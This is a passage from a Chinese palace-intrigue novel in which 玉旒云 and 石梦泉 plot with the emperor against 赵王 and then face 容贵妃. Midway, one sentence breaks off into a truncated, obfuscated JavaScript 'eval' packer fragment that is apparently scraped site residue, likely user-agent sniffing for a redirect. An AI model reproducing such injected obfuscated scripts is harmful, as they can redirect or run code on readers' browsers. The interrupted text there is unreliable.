潘硕并不让路:“玉将军……不……玉大人说是皇上的旨意,没有圣旨,下官不敢放人。” 玉旒云冷冷一笑,目光在潘硕连上打了个转儿:“潘硕,我果然调教得你好啊。皇上没白升你的官儿”说时,从怀里出一方黄绫来,抖开了,上面朱红点点,自然是御笔。 潘硕接去看了看,果然写着要领侍卫内大臣公爵玉旒云带石梦泉火速进宫见驾。他也就不多言,闪开一边。 屋里石梦泉本来未上枷锁,行动自由,一听外面动静,是玉旒云来了,早也坐不住,三步两步冲到了门口。潘硕一让路,他便几乎是夺门而出。后半夜幽微的月色下,玉旒云一袭白衣,系着暗红色的斗篷,这样红白辉映,倒像是今年春天最后一朵应春花。她面上带着复杂的表情,但分明是笑的。 有多久没有见面?仿佛已过了三生三世。 “玉将军……”他且要行下礼去。 然而玉旒云一招手:“跟我走。”已率先转身朝衙门外去。 两人到了门口,玉旒云吩咐给石梦泉备马,又交代潘硕:“我奉的是皇上的秘旨。今夜我来这里带走石将军的事,若有半分泄露,有你好看!” 潘硕不能不应答应,自去管束手下,不许任何人离开衙门半步。马匹牵来,玉旒云和石梦泉各自飞身上马,朝禁宫疾奔。 “玉将军,你是怎么……” 玉旒云在马上头也未回:“你这称呼要改一改了。我现在是领侍卫内大臣。” “怎么?”石梦泉惊道,“皇上削你的兵权?” “可以这么说。”玉旒云道,“也可以说我现在改掌禁军了。” 赵王的阴谋。一定是赵王的阴谋!石梦泉追到跟玉旒云并驾齐驱:“大人,赵王爷……” 玉旒云转过头来:“你也怀疑到赵王了?” 石梦泉答“是”,即简短地把赵王爷如何带走西瑶使者,如何叫自己去见顾长风,故意让他遇上禁军围攻顾府等事简短地说了。 玉旒云听了冷笑道:“有你这些话那就更加错不了。我老早就想,哪有什么人甘心做两朝元老的?上次安平贮粮我们不就开始怀疑他了么?倒没想到他动手这么快。” 石梦泉道:“他挑着你我在大青河苦战之时抢先在西京部署一切,向日那些与你不和的文臣武将也不知被他收买了多少。 玉旒云哼了一声,道:“岂止文臣武将?他的算盘早都已经打到皇帝头上了——你听说了那个容贵妃的事么?蛮族公主!哼,还不是赵王这老小子献的宝。安插在皇上身边,夜夜吹点儿枕头风,让皇上疏远姐姐,他赵王就好朝咱们下手。” 石梦泉道:“我却觉得赵王不是想向咱们下手,倒是想拉拢咱们做他的同谋,所以先故意陷害你,再到皇上跟前替你求情,救你出来,自编自演一出闹剧!” “哦?”玉旒云挑了挑眉毛,“他想拉拢我?我这个人难道看起来是能被拉拢的么?” 自然不能。石梦泉道:“他就是想叫你欠他一个人情吧……你早也猜到了,是不是?你先前就那样笃定……” “笃定?呵!”玉旒云笑了起来,“我不是神仙,可猜不到这个。”她顿了顿,仰头看了看漆黑的苍穹,道:“我那样笃定,因为我知道老天是站在我这一边的——我不晓得赵王这老小子有没有去假惺惺地替我求情。不过,他千算万算也料不到容贵妃才有些成气候了,我姐姐却突然有了喜……” “哎呀!”石梦泉惊喜万分,“皇上万寿,又添太子,双喜临门,赦免你就是天经地义的,赵王的如意算盘可是落了空。” 玉旒云眯起眼睛,一线凛冽的笑意:“说起来,除了老天要助咱们之外。我看那容贵妃也出了什么岔子,被皇上发觉了。” “哦?” 玉旒云略略说了玉朝雾皇后深夜奉旨替皇上来做说客的事:“我起初还想,皇上莫非真是昏了头要削我的兵权,后来听到容贵妃是赵王所献,而你又莫名其妙被抓到九门提督衙门,就晓得事情不简单——皇上真的对我不满,要削我的兵权,何必要叫我做领侍卫内大臣?这可是直接保护他性命的差事。皇上才登基一年,身边能有几个死心塌地拥护他的人?我方才跟你说,我当初笃定是因为知道老天要助咱们,那是玩笑的话——你晓得我,我岂是个信命的人?其实,我吃准了皇上不会将我怎样,就是知道他身边除了你我再没有能替他办事的人了。依我的猜测,容贵妃出了岔子,皇上看出赵王图谋造反,一早就想找咱们救驾,但是赵王精心策划煽动满朝文武要求处分我,皇上一点儿办法也没有。他大约也想找你商量,但容贵妃一定会将他的一举一动报告给赵王,所以皇上想是早急得热锅上的蚂蚁一般了。” 难怪自己早晨求见时庆澜帝故意回避,石梦泉想,果然是如此道理! 玉旒云道:“偏偏老天帮了皇上,姐姐就在这时怀了龙裔。皇上一听到这消息,就得了绝佳的借口摆脱容贵妃的掌握,让姐姐火速把咱们调进宫去给他护驾。”玉旒云说时指了指自己的腰牌:“皇上让姐姐来游说我,其实不如说是来求救来的。明天才宣布升我为领侍卫内大臣的事,先却已叫姐姐把腰牌都带来了,另给我的出门手令,释放你的圣旨,还有一封叫我们立刻去御书房见面的秘信。” 分析到这里,前因后果都豁然开朗。 “那你打算怎么跟赵王斗?” “我跟他斗什么?”玉旒云嘿嘿冷笑,“是皇上要跟他斗。我们不过是皇上的盾和皇上的剑。” 石梦泉愣了愣:“怎么,莫非你不想站在皇上这一边?” 玉旒云没有立刻回答,催马又朝前奔出好远,道:“从来没有说我站在谁那一边。我只看谁会站在我这一边。皇上是一定要站在我这一边的,赵王呢?他若不能收服我,肯定会毁了我。他根本无所谓我站在哪一边,也不会在乎是否要站在我一边。若说他还有一点儿顾忌……”蓦然转过脸,狡黠地笑了起来:“大概他就会顾忌自己宝贝女儿的意中人吧!” “我……”石梦泉怎料到这关头她也能开起玩笑来,脸上直发烧。想要解释,却不知从何说起。一出神的功夫,被玉旒云甩下老远去。他便赶紧策马追赶,到撵上时,已经到了禁宫门前了。 两人都下了马,向禁军士兵出示了腰牌,按照庆澜帝秘旨吩咐的路线,往御书房去,自是畅行无阻。 从小到大,有多少次,这样在皇宫路一前一后紧紧相伴着?石梦泉想,但如今出了这个愉郡主……玉将军的心中不知究竟对我和郡主是怎样看的?我固然一世也不会说出那妄想,可她若误会我,我宁可死了! 暗红色的披风在他的面前翻滚过,好像人心底汹涌的波涛。他紧走上两步:“玉……” 还未唤出口呢,玉旒云倒先停下来了,转身定定地看着他。 石梦泉不由一怔:“将军……” “呼”,冷不防玉旒云一拳当胸打了过来。石梦泉反应敏捷,一侧身就闪了过去:“这是?” “看来你真是全好了。”玉旒云呵呵一笑,“百草门的确不是浪得虚名。” 那还不是多亏了那千年人参和万年灵芝?想到这事,石梦泉心中便有千言万语,不晓得该从何说起。 玉旒云仿佛能看穿他的心事,摆了摆手:“反正这贡品我已经侵吞了,你一定要都吃完才行。你这家伙平时看起来壮得很,谁知道一病就这么凶险?你得好好补一补,省得落下什么病根子——我跟你把话说在前头,皇上是什么人都不能信,只能信咱们。而我是什么人都不能信,只能信你和姐姐。你一定不许死。” 听得此言,石梦泉心中百感交集,想不出还能说什么,只答道:“是,将军。属下一定不死。” “噗嗤”,玉旒云不禁笑了起来:“皇上也不过才‘万万岁’,要是能不死,那岂不成了妖怪?” 石梦泉才也意识到自己是说了傻话,赧然一笑。 玉旒云道:“反正不许比我先死……哎,真是,你能化险为夷,我又升了官,咱们在这里讲什么死不死的?咱们总要领兵把楚国踏平了。不过现在,要想个法子帮皇上把赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谁料赵王在北疆打出一片天下!玉旒云对这桩宫闱旧事闻所未闻——仁宗即位时“真假遗诏”闹得满城风雨,但赵王并不是那风波的主角。 “太宗皇帝打从心眼儿里没想把皇位传给三皇叔,”庆澜帝道,“那诏书根本就是用来糊鬼的,就放在纯懿敦慧皇贵妃的灵位后面。到太宗皇帝病重时,觉得这件东西留着实在是个隐患,就叫先帝仁宗爷去把诏书毁了,仁宗爷才知道了有这么一回事。后来也就告诉了朕。” 玉旒云点头,表示自己洗耳恭听,不过心里却想:这种事情,少一个人知道就少一分危险,那诏书当初若索性放在灵位后不去动它,让秘密跟着太宗皇帝入土,等到赵王寿终正寝,一切就成了定论,再也没有翻案的机会。可偏偏太宗要告诉仁宗,仁宗又要说给庆澜帝听——谁晓得这中间还有什么人得着了风声?若是赵王也知道此事,造反就更加师出有名了……然而,她转念一想:造反还需要师出有名么?谁的兵马多,谁的粮草足,谁的手段够狠辣,那就能踩在别人的头上……从来都是如此。 庆澜帝道:“仁宗爷自打知道了这事,心里就慌得紧。又赶上闹那遗诏风波,朝廷里人心惶惶。仁宗先帝生怕三皇叔其实已经知道了事情的始末,只等时机成熟,就要夺取王位。不过三皇叔一直都未有所行动——二位爱卿都年轻,大概不清楚曹墅老将军的事。当时仁宗爷被几位辅政大臣逼得没有办法,只好让曹老将军屈死。三皇叔知后大发雷霆,暗中查出了几位辅政大臣的罪状,自己回京来为曹老将军平反。仁宗爷看他那架势,以为他是要逼宫篡位了,岂知他只提出了要取几位辅政大臣的性命。仁宗爷怕他有兵队埋伏,不敢不从,但后来却发现三皇叔是单人匹马回西京的!” 哦?玉旒云不禁挑了挑眉毛,和石梦泉互望了一眼。 庆澜帝道:“打那以后,仁宗爷就打消了对三皇叔的怀疑。连朕也不再对他有戒心,谁料到他竟然……” 竟然还是有反心!玉旒云暗想,不过,正若庆澜帝先前所讲,这也是在情理之中的。但怪就怪在偏偏选在此时。难道仁宗初年不是更妥当些么?如今和当初比,有什么更大的优势了? “皇上。”石梦泉道,“皇上又是怎么发现赵王爷图谋不轨呢?” 庆澜帝面上不免有了惭愧之色:“俗话说‘色字头上一把刀’,朕如今可真是领教了!” 果然是蛮族的容贵妃。玉旒云暗暗冷笑。 庆澜帝接着说下去:“这个博西勒,真是蛇蝎美人。朕起初一见到她,魂也被她给勾跑了——如今想来,可真对不住皇后。幸亏那一天被朕撞到她露出马脚——她陪朕听戏时突然离席,朕怕她身子不适,亲自跟去看看,就见到她从宫中的水道往外放纸船。朕开始还以为他在外面有个情人,妒火中烧。待她一走,朕就将那纸船捞上来看,结果是写给悦敏的。” 上阵父子兵呵!玉旒云又是冷冷一笑。 石梦泉道:“容贵妃给永泽公传的什么消息?” “什么消息?”庆澜帝苦笑道,“简直比朕的起居注还详细。后面又说道,她看出朕将玉爱卿禁足不过是个敷衍之计,迫于朝臣们的压力,做做样子而已,迟早又会把玉爱卿给放出来。所以,她叫悦敏‘动手要快’。又说,她听闻石爱卿还在南方,手握重兵。她以为有石爱卿在一天,就没人能把玉爱卿怎样,所以她叫悦敏赶紧想个法子把石爱卿招回来。” 这个女人!玉旒云眯起了眼睛——她是早也没把自己当成女人的。樾国的亲贵女眷,除了玉朝雾皇后是她的亲人之外,其他的,在她看来都是绣花枕头,只懂得张长李短,再不,就是那叫人厌恶的愉郡主,成事不足败事有余。如今这个容贵妃博西勒……难得有一个能让她当“对手”看待的女人。 庆澜帝道:“朕看了这封信,手足失措,慌得恨不得立刻把玉爱卿从府里招来。可是朕一想,这朝廷里,这禁宫中,朕浑浑噩噩地过着日子,哪晓得有多少人被三皇叔收买了?朕怕一旦打草惊蛇,没扳倒三皇叔,自己就把性命给搭了进去。朕当时急得,唉,可真是坐也不是,站也不是……” “皇上把那纸船又放回水道中了吧?”玉旒云问。 庆澜帝擦着汗:“是……朕想,要是放回去,三皇叔接了这信肯定在外面布置着要对两位爱卿和朕不利,但要是不放回去,万一叫容贵妃发现了破绽,朕恐怕就没机会等到两位爱卿来救驾,就已经……” “皇上洪福齐天。”玉旒云道,“而且皇上此举非常明智,真真将赵王爷这个奸贼蒙在了鼓里。” 庆澜帝搓着两手:“玉爱卿,或者朕也随你姐姐似的叫你一声‘云儿’。你从小在朕身边长大,朕是个什么样的人,你还不晓得?你也不用恭维朕啦,朕能保着命到今天,全凭老天保佑,什么明智之举,都是瞎猫碰着了死耗子而已。朕现在的心里七上八下的,再如此下去,恐怕三皇叔没弑君造反,朕自己就先把自己愁死了。你们两位倒快给朕出出主意,现在要如何是好?” 石梦泉其实在九门提督衙门里就已经大略地计划过了:将计就计,假意投靠到赵王的旗下,调查出他的党羽究竟有哪些,同时随机应变,小心部署,争取以最小的牺牲将这场政变扼杀于未然之时。 不过,一则他还没有具体的计划,二则他不知道玉旒云是怎么想的,三则皇上面前任何时候他不能争玉旒云的功劳。于是,他沉默不语,只悄悄地瞥了一眼玉旒云。 玉旒云眨了眨眼睛,表示自己胸有成竹,两人之间早有如此默契。 “依臣之见,”玉旒云道,“赵王爷并没有打算以武力发动政变篡夺皇位,否则,他大可以乘臣率领大军同楚国交战京畿空虚之时,带北境之兵攻占京城,无需搞出现在这么多花样来。而他献上美人只是为了监视皇上的举动,以便他在外面广结党羽,铲除异己。大约现在他要加害皇上,时机还不成熟,否则,早叫那蛮族女子向皇上下毒手了。” “啊……”庆澜帝吓得双腿一软,坐倒榻上。 玉旒云接着道:“他鼓动了一群大臣逼迫皇上将臣软禁,却也并没有要加害臣的意思,否则,早拿出当初辅政大臣对付曹老将军的那一套来了。而他又叫儿子将梦泉从南方‘请’了回来,要将女儿许配——臣看,赵王是想拉拢臣等。臣斗胆,万岁身处险境之时,只招臣二人来护驾,可见万岁将臣二人当成身边唯一可信之人。赵王却要将臣二人也收买了去,可见,他并不想兵变,他想将朝廷都搬到他的赵王府,然后皇袍加身,不流一滴血就夺得那个他等了几十年的皇位!” “这……”庆澜帝连坐也坐不稳了,扶着榻上的矮几,“这可如何是好?在朝会上,朕并不常见到三皇叔。不过,当时说要处罚玉爱卿你,文武百官几乎都是一条声地赞同,朕这才不得意,依了他们的意思,将你招回京来……这样看,莫非整个朝廷除了卿二人,都已经被三皇叔收买了么?那可怎么办?” “万岁不要惊慌。”玉旒云道,“赵王已经软禁了臣,又把梦泉从南方招了回来。我二人此时手里没有一兵一卒,就算有通天的本事,也无法跟整一个朝廷抗衡。而他还如此挖空心思软硬兼施地要叫臣等投效他,臣等对于他必有不可替代的作用。臣等可利用这一点,将计就计,混入赵王的阵营之中一探虚实。” “哦……这……你们要怎么混进去?”庆澜帝问。 “这也不难。”玉旒云道,“他将臣禁闭起来,为的就是想法再把臣放出来,好让臣欠他一个人情。皇上不妨就送这个人情给他。至于梦泉么……”玉旒云一笑:“赵王爷自己都不要女儿了,皇上又何必替他操心?也就顺了他的心意,顺了愉郡主的心意,下旨赐婚吧!” “将军!”石梦泉一惊,倒身跪下,“皇上,这可万万使不得!这……” “皇上!”玉旒云打断他,“若不如此,如何打消赵王对臣等的怀疑呢?臣看现在天就快要亮了,臣要回到家中继续禁足,而梦泉得回九门提督衙门接着坐牢,没时间再推敲细节了。请皇上就按臣说的,明日宣布皇后娘娘有喜,却不可提释放臣的事,要让赵王爷提出来,您就顺水推舟地答应他。而稍晚太后娘娘设家宴庆贺时,愉郡主必然在座,届时请皇上为郡主和梦泉赐婚。” “皇上,臣……”石梦泉只觉得有人狠狠捶了他一拳,让他天旋地转。 “好好,朕都依你。”庆澜帝道,“趁着天没亮快走吧。一路上的太监和禁军好歹都还是朕信任的人,但是耽搁久了谁知道要怎么样……朕可全靠你们了。” “是,微臣告退。”玉旒云顿首,便和石梦泉一起退了出来。 他们按原路返回。玉旒云走得很快。石梦泉虽然跟往常一样紧跟在后,但感觉脚步有千钧重,拖着他非要停下来,非要向她问个明白。 他终于还是停住了。 玉旒云仿佛听到步伐的变化,转过身:“怎么?” 怎么?石梦泉心中乱糟糟的:这都是为了她,为了皇上……然而……然而…… “你这家伙!”玉旒云轻轻一笑,“是为了赐婚的事吧?那蛮族的公主还敢舍身来施美人计呢,你一个大男人比人家还扭捏?” “我……”石梦泉理会得什么叫“成大事者不拘小节”,可是这也太…… 玉旒云走上前来拍了他一巴掌:“好啦,婚姻大事岂能儿戏?我是叫皇上赐婚,又不是叫你跟那刁蛮郡主立刻完婚。明明知道赵王府是个地狱,愉郡主是个火坑——谋反的事一败露,少不得全家圈禁,我能把你朝那儿推么?” 话是这样说,石梦泉勉强笑了笑,但心里依然很别扭。也许在玉旒云看来,一切都是可以利用的,只为达到目的。然而要他利用愉郡主的感情,他会被良心折磨——为了玉旒云,折磨、痛苦,他可以忍受。但是这个计划……他怎么觉得自己也是被利用了?我是你是什么人?是你的朋友?你是下属?还是你的工具? 他的心里在挣扎。但我又有什么资格问?他想,在大青河,她冒着自己溺水的危险救了他,接着又为他动用了西瑶的贡品,这才被赵王又多抓到一条把柄……我的命本就是你的啊! “我们走吧。”他说。 玉旒云点点头,又自在前面走。不过这一次走得慢了些,渐渐和石梦泉并排了。又说道:“其实你也早想到将计就计混到赵王那边,是吧?” “恩?”石梦泉一时未反应过来,片刻才明白玉旒云是看穿自己方才在庆澜帝跟前故意不说话。“哪里!”他笑道,“我只有个粗略的计划,没有将军的那么详尽。” 玉旒云嘿嘿一笑:“我看不是吧?你的计划顶多就比我少了‘赐婚’这一条。” “你又来了!”石梦泉不知玉旒云怎么老是要抓住他和愉郡主来打趣。 玉旒云摆了摆手:“好吧。我不跟你玩笑。其实你不用把什么功劳都让给我。明天一正式宣布,我就是正一品武官。而我那公爵头衔再朝上也升不了了,我要这么多功劳做什么?你该为自己考虑考虑。” “是。”石梦泉点头答应。 两人遥遥看见宫门了,一齐加快步伐。出了宫,上了马,便到分道扬镳。 玉旒云这时还不忘玩笑挚友一句:“好好坐你的牢呀!明日我们筵席上见!” 石梦泉只是含混地应了,依然在玩味先前的那些话语:为自己考虑么?有什么好考虑的?玉旒云就是他的一切……坐牢?他难道不是早已心甘情愿地把自己锁在一座情牢之中了么? 29. 第 29 章 正如玉旒云所计划的,次日庆澜帝宣布了皇后怀孕的消息,招了亲贵大臣们入宫商议要怎样庆贺此事,赵王也在其列。庆澜帝故意只说“大赦天下”“加开恩科”等想法,特特等着赵王给玉旒云求情。不过却不听赵王开口,而是司徒蒙跑出来说好话。玉旒云可没教庆澜帝如何应付这情形,没摆布,随便逮住个机会也就顺水推舟把事给办了。似乎庆澜帝还是担心自己的安全,所以临时发挥,又将那“领侍卫内大臣一节”加了进去。没人反对,当时就叫拟了圣旨,装模作样到玉旒云府上宣读了一番,招玉旒云进宫来谢恩。 玉旒云问了经过,暗道:赵王这老狐狸不要是嗅出了什么才好!自换上正一品武官的服色来到了御书房。她摆出一脸的不服,向庆澜帝请罪又谢恩,然后说到“听说”石梦泉被抓到九门提督衙门,既然皇上要大赦,就把石梦泉也赦了吧。 此时赵王从旁开了腔,讲,石将军的事,想来是误会,果如玉大人所说,既然皇上连玉大人也不追究了,再关押着石将军也不合情理,云云。 庆澜帝听了,道:“他被抓了吗?朕怎么不知道?九门提督呢?朕要问问他。” 潘硕在队伍之中,想是前夜石梦泉回去后交代了,他只将顾长风门前的风波讲了一番。庆澜帝是存心要放人的,也不待细听,即道:“乱七八糟,朕的头都叫你们吵大了。禁军如今是无法无天了么?算了算了,去把石梦泉放了。皇后还倚仗他母亲照顾呢,朕不想看皇后成天哭哭啼啼的。” 潘硕应了,即刻照办。不时,石梦泉也进了宫来,向庆澜帝“谢恩”。 一番应酬,庆澜帝看了看玉旒云的眼色。后者微微朝他一点头。他就打了个呵欠,道:“朕也累了。母后说要办个家宴庆贺庆贺,亲贵们都来热闹热闹吧。”当下叫亲王、郡王都带上夫人到宫里来,赵王自然也在其列。玉旒云朝庆澜帝使眼色,他就又加上一句:“母后常念叨你那宝贝女儿,也带她一起来吧。” 赵王道:“老臣遵旨。” 众人便要就此散会,可秉笔的太监提醒道:“皇上,顾侍郎一早就候着了呢,见是不见?” 惟恐顾长风知道玉旒云毫发无损且还升了官,不晓得会生出什么枝节,庆澜帝忙摇手道:“不见,不见。有什么要紧事?既不闹蝗虫又不发洪水,有什么事,叫他留到朝会上讲。”说罢,逃一般地退到里间去了。 众亲贵大臣们自然跪送。石梦泉望望玉旒云,看她下一步是何打算。 玉旒云轻轻一笑,朝赵王那边挤了挤眼睛,低声道:“咱们慢点儿走,看看他有什么话说!” 石梦泉点头答应,两人便同众人一齐起了身,假装什么事也没有,往御书房外退。而赵王果然就朝他们走了过来,拱了拱手,道:“石兄弟,潘大人没委屈你吧?” 石梦泉心中稍一盘算,即躬身道:“多谢王爷为卑职求情。” “哎——”赵王摆摆手,“本王什么也没做。你这不白之冤被一笔勾销了,是玉将军——不,如今要称玉大人了——是她替你向皇上求的恩典。你对她如此忠心,她又对你如此爱护,有这份情谊,难怪你二人在战场上配合得如此默契。” 玉旒云冷冷的,并不为他人的恭维所动。 石梦泉把戏接着演下去:“王爷曾答应卑职要在皇上面前替玉大人说情,玉大人能够安然无恙,卑职在这里谢过王爷。” 赵王又摆摆手:“你又谢错人了。本王还没开口呢。是司徒将军替玉将军求的情。也是老天有心,皇后娘娘怀了龙裔。” 玉旒云和石梦泉少不得装模作样地惊讶了一下。说时,司徒蒙也走到了跟前,朝三人都拱了拱手。 玉旒云白他一眼,并不理会,只招呼石梦泉:“走,且见姐姐去。叫我做这牢什子的领侍卫内大臣,还不如降我的职叫我去养马。不过从此进宫见姐姐倒方便了。”边说着,边满腹怨气地走出御书房。 石梦泉紧随在后。才一出门,两人就迎头撞上了顾长风。这位硬脖子侍郎的面色很是难看,见到玉旒云脸就拉得更长了。而玉旒云此时为了要引赵王上勾,暂时把收服顾长风这茬儿抛到了脑后,冷哼了一声,道:“顾侍郎,你是带了联名的奏本来参我的么?真不巧,你先前的折子非但没参倒我,还让我升了官。我看你以后该多多参我几本,那我就飞黄腾达,前途不可限量了!” 顾长风漠然地瞥她一眼:“我有要事要启奏皇上,跟大人无关。” “和我无关?”玉旒云冷笑,“这可真稀奇了!顾侍郎不是绞尽脑汁要寻我的晦气么?怎么,我还好端端在这里站着,顾侍郎倒有心思忙和我无关的事?” 顾长风似乎是在后面的亲贵队伍里寻找什么人,被玉旒云拦住了,不免恼火,也冷笑道:“大人未免也自视过高。顾某眼中只有百姓生计。要是大人存心想顾某寻你的晦气,不妨多做一点伤天害理的事。不过,顾某要提醒大人,多行不义必自毙。” “你——”玉旒云虽然是做戏给赵王看,但被人这样指着鼻子骂,还是难免动怒,幸好赵王已经从后追了上来,道:“来,来,来,本王来做个和事老。大家都是给皇上办事的,何必伤了自家和气?顾侍郎有要事禀奏皇上么?晚些时候本王和玉大人都会见皇上,可以替顾侍郎转达。” 顾长风并不甚买帐,还在亲贵中搜寻,直看户部尚书了,就一拱手,告声“少陪”绕过玉旒云和赵王走开了。 玉旒云板着脸,跺脚道:“可恶的书生,我早晚找他算帐。” “何必呢?”赵王摸着下巴呵呵笑道,“书生虽然有点儿讨厌,不过他们读的书里有好些是至理名言呢!玉大人可读过《论语》么?” 小看我?玉旒云哼了一声:“有什么没读过?” 赵王道:“玉大人知道《论语?雍也》中孔子怎么说颜回?” 玉旒云一皱眉——她对此毫无兴趣。石梦泉也知道,当年一起读书的时候,她最讨厌满口大道理的孔子,背诵都是有口无心。不过好在她记性不错,虽然不能脱口而出,还不至于就被赵王问住。“孔子说,有颜回者好学,不迁怒,不贰过。不幸短命死矣,今也则亡,未闻好学者也。” “不错。”赵王点点头,“孔子说颜回死了之后,就再没见过像他一样优秀的人。玉大人觉得这是否言过其实呢?”不待玉旒云回答,他自己又接着道:“本王年轻的时候就觉得孔圣人把话说得太过了。但是年岁长了,才发现本王自己就绝对做不到颜回那样——这‘不迁怒’……呵呵,大人方才对顾侍郎的一通脾气,难道真的是对顾侍郎发的吗?” 玉旒云听他拐弯抹角,就不立刻回答。 赵王道:“还有这‘不二过’。年轻人犯错误不打紧,关键是要长见识,别犯相同的错。” “王爷什么意思?”玉旒云沉着脸。 赵王呵呵笑道:“本王不过是随便发几句感慨,老人之言,大人大可不必放在心上。太后的宴会上见吧!”说着,转身离去。 玉旒云蹙眉看着那魁伟的背影,扭头望望石梦泉:“葫芦里卖的什么药?” 石梦泉想了想道:“赵王爷先前跟我说过,是皇上忌讳你功高震主,所以要煞煞你的锐气,我想他是指望我跟你转达了这话,所以‘迁怒’一说,应该是暗指你把对皇上的怨气发在了顾侍郎身上。” “呵!”玉硫云冷笑,“挑拨离间也说得这样文绉绉的。那么‘不二过’呢?莫非是指我为皇上效命落得今日这明升暗降被削兵权的下场,所以不可再继续替皇上办事,应当转而投效他?” 石梦泉交握着两手:“他没明说,不过应该是这个意思吧?不是正和大人计划的一样么?大人要不要追上他?” 玉旒云摇摇头:“我这出了名的臭脾气,凭他说一句话就去追他请他庇护,未免也太难以叫人相信了吧?放长线,钓大鱼。走,咱们见姐姐去!” 两人一同到了后宫。这日风和日丽,暮春时节禁宫中百花怒放,五彩斑斓的大凤蝶翩翩起舞,叫人看了心情也分外开朗。石梦泉看玉旒云步子轻松,心中就暗暗祷告不要遇上翼王这个煞风景的家伙——说来也真是老天成全他,平日翼王死缠住玉旒云不放,今日却踪迹不见。玉、石二人一路欣赏春光,连宫女太监都远按回避着不来打扰,直到行至凤藻宫门前,才见着旁人了——三个宫娥拥着一位华服丽人款款而来。此人甚是面生,然而玉、石二人见她高鼻深目,立刻也就猜到了——该是蛮族的容贵妃博西勒。 容贵妃大约也是第一次见到两人,经宫女提醒才停下脚步来相见。玉、石二人都行了礼。听容贵妃用纯正的中原话说道:“玉大人和石将军都是朝中有名的青年才俊,博西勒来自边远偏僻之地,对二位仰慕已久,今日终于一见,实在荣幸万分。” 玉、石二人都客套地说“不敢”。容贵妃高深莫测地微笑道:“玉大人想是来看望皇后娘娘吧?正好一起。” “哦?贵妃娘娘也是来看望我姐姐的么?”玉旒云做了个“请”的动作,同时跟石梦泉交换了一个眼色:黄鼠狼给鸡拜年,这女人安的什么心? 一行人即相携入内拜见玉朝雾。因为有外人在,就不能似从前一般随便,大家都正襟危坐着,石氏、王氏也不敢上来同石梦泉闲话。 容贵妃说草原有一种珍稀的玉莲花,最能滋补身体,她特带来了献给皇后。边叫侍女呈上,边又说道:“娘娘在上,昨夜太后娘娘虽有教训,说不可来打扰,但臣妾好是忍不住要来见见娘娘,因为臣妾……” 玉旒云留心听着,看她究竟玩的什么花样。不想,容贵妃说到这里,竟然哭了起来,倒身给玉朝雾跪下了,道:“娘娘,臣妾知道后宫中有许多对臣妾的传言,都说臣妾使出狐媚子的卑鄙手腕,觊觎娘娘您的位子……这可真是对臣妾天大的冤枉啊!” 满屋人都被她弄得一愣。玉旒云的嘴角不免挂上了一丝冷笑。 玉朝雾天性善良,虽然这一个月来因为容贵妃而受了不少委屈,但见人家如此,还是急忙起身来扶,道:“妹妹说的哪里话?宫中的传言怎么能够轻信呢?妹妹才貌双全,深得万岁爷的欢心,那是妹妹的福气。而让万岁爷开怀,也是我这个做皇后的本分,我要感谢妹妹还来不及,怎么会听那些无聊的流言,来责怪妹妹呢?” “果真?”容贵妃哭得梨花带雨。 “自然是真的。”玉朝雾道,“我现在身子重了,不能服侍皇上,还得偏劳妹妹替皇上解烦。” “那是臣妾份内的事。”容贵妃回答。 玉旒云在一边看着,冲石梦泉直摇头,意思是说:她给皇上解烦?她已经叫皇上坐立难安了! 石梦泉便用眼神问道:“那你打算怎么对付?” 玉旒云想了想,轻轻一眯眼睛:有了!“姐姐,”她道,“梦泉也是难得进宫来一次,?我们俩一会儿还有差事得去办,不如让他先和石嬷嬷、王嬷嬷到暖阁去叙叙。我也有话要和姐姐说,能不能劳烦容贵妃在此稍坐,臣和皇后娘娘说几句话就好。” 容贵妃道:“既然这样,博西勒还是不要打扰了,先告辞……” “哎——”玉旒云拦住她,“我只说几句话。姐姐每日困在这凤藻宫中也挺无聊的,难得贵妃娘娘来陪她说说话。请一定多坐一会儿。”说时,自己扶了玉朝雾走到内间去,而石梦泉也同母亲、姑母告了失陪,走到暖阁中。 石氏、王氏都对这次大青河战败以及玉、石相继被怪罪之事十分关心,虽然二人前夜都依秘旨去过玉府,但个中究竟庆澜帝连玉朝雾也不曾告诉,这两个妇人就更加一头雾水了,不免都要问石梦泉:到底是怎么一回事? 石梦泉摆摆手。他知道玉旒云特意叫自己到暖阁来,必有其用意。因而示意母亲和姑母稍安勿躁,自己蹑手蹑脚挪到了暖阁的门边,朝殿上窥望。 并不见容贵妃有什么非常之举。这女人只是看看四壁的字画,又端详了一番屏风上的凤凰,似乎是漫不经心,百无聊赖。过了片刻,仿佛有些不耐烦了,就吩咐三个宫女的预备摆驾。有两个宫女立刻就领命而去,第三个本留在旁边服侍,可容贵妃又叫她也去帮忙,自己说要“同皇后道别就来”。——石梦泉见到这一幕,心中不免一阵兴奋:玉旒云下了这么一个简单的套子,这女人就往里钻了。 石氏、王氏也都感觉事情有异。她们都急着要看个明白。石梦泉示意她们不要做声,自己会负责皇后和玉旒云的安全。 他目不转睛地盯着殿上。可容贵妃似乎还只是四处在欣赏着摆设,一时摸摸花瓶,一时玩玩帷幔,后来仿佛对后殿门上的珠帘产生了极大的兴趣,凑到极近处,一粒粒珠子地端详。 王氏轻声道:“这东西难道她没有么?听说万岁爷初见她就赏了一斛珍珠,个个都有龙眼般大小。这会儿倒又眼红咱们这宫里的。还说自己不觊觎皇后宝座呢!方才那一场哭,瞎子也看出来是假的。也只有皇后娘娘宅心仁厚,才会信她那套鬼话。” 石氏也道:“真不知道她送来的花是不是毒药。皇后娘娘这样好的一个人,只有蛇蝎心肠的才会想要害她。” 石梦泉叫母亲、姑母不要出声,自己盯着容贵妃,看她下面还有什么花样。可容贵妃就一直在那儿把玩着珠帘,好像要把珠子间的差别都研究个一清二楚。 没一刻,这女人突然朝后一让,在边上垂首肃立。接着,就看到玉旒云和玉朝雾皇后从内间走了出来。后者满面疑惑,而前者却道:“我是道听途说,姐姐没听过就算了。晚些我自己过去看看。” 玉朝雾道:“我看总还是先跟皇上说一声比较妥当,毕竟那儿又不是旁的地方……” 玉旒云道:“不打紧。我做领侍卫内大臣,就是这点便当——不说了,姐姐,我和梦泉先去办差事,你跟贵妃娘娘聊聊天。刚才我说的,你就当没听过吧。” 